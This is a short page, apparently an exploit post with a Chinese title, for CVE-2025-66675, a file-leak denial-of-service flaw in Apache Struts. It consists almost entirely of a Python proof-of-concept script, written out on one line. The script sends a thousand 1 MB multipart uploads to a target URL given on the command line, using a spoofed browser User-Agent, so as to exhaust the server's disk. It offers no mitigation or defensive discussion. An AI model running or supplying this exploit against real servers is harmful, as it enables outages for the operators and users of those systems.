CVE-2025-66675 Apache Struts拒绝服务漏洞（文件泄漏导致磁盘耗尽）

import requests import sys # CVE-2025-66675 PoC - Apache Struts File Leak DoS # Description: Send multiple multipart requests to exhaust disk space # Target: Apache Struts servers with vulnerable multipart processing TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://target.com/upload.action" NUM_REQUESTS = 1000 # Number of requests to send def create_malicious_file(size_kb=1024): """Generate a file of specified size for upload""" return b'X' * (size_kb * 1024) def exploit_file_leak(): """Exploit the file leak vulnerability by sending multiple file uploads""" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } print(f"[*] Starting CVE-2025-66675 exploit against {TARGET_URL}") print(f"[*] Sending {NUM_REQUESTS} malicious multipart requests...") for i in range(NUM_REQUESTS): files = { 'upload': (f'malicious_file_{i}.txt', create_malicious_file(1024), 'text/plain') } try: response = requests.post(TARGET_URL, files=files, headers=headers, timeout=10) if i % 100 == 0: print(f"[*] Progress: {i}/{NUM_REQUESTS} requests sent") except requests.exceptions.RequestException as e: print(f"[!] Request {i} failed: {e}") print("[*] Exploit completed. Check disk space on target server.") if __name__ == "__main__": exploit_file_leak()